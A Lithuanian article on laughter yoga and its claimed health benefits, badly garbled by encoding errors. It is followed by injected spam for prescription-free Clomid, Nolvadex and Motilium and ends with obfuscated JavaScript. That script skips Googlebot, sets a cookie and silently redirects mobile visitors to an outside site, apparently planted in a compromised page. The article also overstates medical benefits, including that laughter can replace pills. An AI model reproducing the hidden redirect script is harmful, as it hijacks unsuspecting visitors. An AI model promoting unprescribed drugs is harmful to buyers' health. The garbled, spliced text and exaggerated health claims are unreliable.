GebAi??jimAi?? juoktis grAi??A?ins juoko joga

Konsultuoja specialistas
Sertifikuotas juoko jogos treneris Stepas Ai??afranauskas
LiAi??dna tiesa ai??i?? nuoA?irdus juokas kaA?kodAi??l daA?nai drauge su vaikyste lieka praeityje… SocialinAi??s psichologijos tyrimais nustatyta, kad vaikas kasdien juokiasi apie 150 kartA?, nusiA?ypso apie 400 kartA?. O suaugAi??s A?mogus juokiasi tik A?eA?is kartus per dienAi??, o nusiA?ypso ai??i?? ne daugiau kaip 15 kartA?!
Juokas ilgina gyvenimAi??
Mes ne tik iA?augame drabuA?ius, bet ir prarandame gebAi??jimAi?? juoktis. Kai buvome vaikai, girdAi??davome: ai??zKada pagaliau surimtAi??si?ai??? Kai suaugAi?? bandome pasiausti, pasigirsta: ai??zNebAi??k kaip vaikas!ai??? Pasaulis serga rimtumo liga, uA?mirA?Ai??s, kad nuo juoko priklauso gyvenimo trukmAi??.

SilpnAi??ja ryA?iai ai??i?? maA?Ai??ja juoko
PrieA? penkiolika metA? indas gydytojas Madan Kataria dar vertAi??si paprasta gydytojo praktika, redagavo A?urnalAi?? sveikatos klausimais. Jis A?moniA? juoko pasigedo rengdamas straipsnA? ai??zJuokas ai??i?? geriausias vaistasai???. SusipaA?inAi??s su moksliniais tyrimais apie juokAi?? ir jo naudAi??, gydytojas suprato, kad A?monAi??s neiA?naudoja tokios puikios galimybAi??s ai??i?? jaustis geriau besijuokiant. DaugAi??ja juokintojA?, humoro A?ou, bet juoko sumaA?Ai??jo beveik treA?daliu! PrieA?astis paprasta: silpnAi??ja A?moniA? ryA?iai, tad ir juoko maA?Ai??ja.
Juokas be prieA?asties?
Jau kitAi?? rytAi?? gydytojas, iA?Ai??jAi??s A? vienAi?? Mumbajaus parkA? (Indijoje), sumAi??stAi?? suburti juoko grupAi??. Dirbdamas su ja M.Kataria atrado, kad A?mogaus kAi??nas neskiria dirbtinio juoko nuo prigimtinio, nuoA?irdaus ai??i?? ir vienu, ir kitu atveju organizme vyksta tie patys biocheminiai pokyA?iai, jis gauna tAi?? paA?iAi?? fiziologinAi?? naudAi??. Taip buvo sukurta speciali juoko be prieA?asties praktika (turint galvoje, kad dirbtinis juokinimas tinka ne kiekvienam, nes daA?no jis neveikia).
JAi?? sudaro A?aismingA? vaidybiniA? pratimA?, padedanA?iA? lengviau prisiA?aukti juokAi??, kompleksas, kurA? indas pavadino juoko joga. Jos technika padeda A?mogui nusiraminti ir atsipalaiduoti,Ai?? juokas ai??zcha cha cha chaai???, kuris priartina prie prigimtinio juoko, derinamas su kvAi??pavimo, tempimo ir atsipalaidavimo pratimais. Aktyvus, tankus A?kvAi??pinAi??jimas per nosA? ai??i?? kapalabhati arba pranajama (diafragminis kvAi??pavimas) ai??i?? tai tas pats veiksmas, kurA? atliekame besijuokdami. Taigi dviratis ir iA?rastas, ir atrastas, belieka juo vaA?iuoti!
! Ai??sidAi??mAi??kite: juoko joga ir juoko terapija ai??i?? ne tas pats.
* Juoko terapija ai??i?? tai metodas, kai sergantys A?monAi??s vienaip ar kitaip juokinami (klausosi anekdotA?, A?iAi??ri kino komedijas ir pan.), ir tai padeda greiA?iau pasveikti.
* Juoko joga ai??i?? pratimai, kai juokiamasi be jokios prieA?asties.

Juokas vietoj piliuliA?
Juokas gali netgi pakeisti piliules! Jis naudingas fizinei ir psichinei sveikatai, todAi??l turAi??tume juoktis kur kas daugiau. Specialistai tikina, kad net jei nesinori juoktis natAi??raliai, galima juoktis dirbtinai, be prieA?asties ai??i?? ir gausite tAi?? paA?iAi?? naudAi??, nes:
* juokiantis iA?siskiria endorfinai ai??i?? natAi??ralAi??s skausmAi?? malA?inantys ir euforijos bAi??senAi?? sukeliantys hormonai, kurie veikia panaA?iai kaip morfijus, bet neturi neigiamo poveikio. Taigi juokas nugali skausmAi??!
* juokas malA?ina stresAi??, stiprina imunitetAi??.
* naudingas sergantiems bronchitu ir bronchine astma: padidAi??ja plauA?iA? tAi??ris ir deguonies kiekis kraujyje.
* kvAi??pavimo takai lengviau paA?alina gleives, uA?sistovAi??jusA? orAi??, organizmas gauna daugiau deguonies. Anot Nobelio medicinos premijos laureato Otto Warburgo, ai??zjeigu lAi??stelAi??s gauna pakankamai deguonies, vAi??A?iu susirgti neA?manomaai???.
* juokas stiprina A?irdA?: padaA?nAi??ja pulsas, pagerAi??ja kraujotaka, iA?sipleA?ia kraujagyslAi??s, atsipalaiduoja raumenys.
* juokiantis dirba maA?daug 40 raumenA? grupiA?.

Kur ir kaip iA?mokti juoktis
Pasaulyje egzistuoja apie 6 tAi??kst. juoko jogos klubA?. Lietuvoje dirba du sertifikuoti juoko jogos treneriai (veikia du juoko jogos klubai). Vienas jA?, juoko jogos treneris Stepas Ai??apranauskas, irgi dalyvavo juoko jogos pradininko M.Katarios mokymuose, A?gijAi??s patirties grA?A?o A? LietuvAi?? ir dabar veda grupinius seminarus. Per juos, be paA?inties su juoko joga, jis siekia kartu suformuoti ir suharmonizuoti komandAi?? (pvz., A?monAi??je ar mokymo A?ataigoje), kurios stiprybAi?? ai??i?? juokas, padedantis darbuotojams ne tik atsipalaiduoti, bet ir tapti artimesniems…
Naudingiausia ai??i?? kas savaitAi??
Ar A?inote, kad suaugAi??s A?mogus kasdien turAi??tA? juoktis maA?iausiai deA?imt minuA?iA?! Jeigu sunku ai??i?? pasitelkite juoko jogAi??.
! Juoko joga bus naudinga, jei jAi?? praktikuosite kas savaitAi??, be to, ji veiksmingiausia A?moniA? grupAi??je.
Juoko joga apima dvi pratimA? grupes: jogos kvAi??pavimo ir juoko. Ai??prastinAi?? juoko jogos sesija trunka maA?daug 45 minutes. Skiriamos trys jos dalys:
I dalis ai??i?? nebAi??tina juoktis, juokas imituojamas pratimais, kurie lydimi dA?iugesio, plojimA?, skandavimo, kvAi??pavimo. Tai tik pasirengimas, ai??zA?Ai??jimasai??? A? A?aismingAi?? bAi??senAi??, taigi tinka pasisveikinimas vieno su kitu, specialus paburbuliavimas, atsilenkimai ar pasilenkimai…
II dalis ai??i?? prasideda juoko meditacija arba juoku be prieA?asties koncentruojamasi A? patA? juokAi??.
III dalis ai??i?? specialiais pratimais atsipalaiduojama ir grA?A?tama A? natAi??raliAi?? bAi??senAi??, kalbama apie juoko jogos filosofijAi??.

Buy Clomid no Prescription. Comfortable and safe way to buy online, quality drugs at low prices. Worldwide Shipping! buy Clomid online without prescription. the best no prescription price. Buy Clomiphene Citrate action performed due to the ability to bind to estrogen receptors in target organs at all levels of. Buy Nolvadex Online Without Prescription. Women’s Health. Free Online Medical Consultations, Safe & Secure, Cheap Prices, buy nolvadex online without prescription. Buy nolvadex online without prescription. Lowest prices guaranteed, Medications Without Prescription. Safe and Secure order processing. Best Quality Drugs!

.

.

purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia, purchase motilium from australia.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( can doxycycline cause smelly urine, can doxycycline cause smelly urine, can doxycycline cause smelly urine, can doxycycline cause smelly urine, can doxycycline cause smelly urine, can doxycycline cause smelly urine. |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}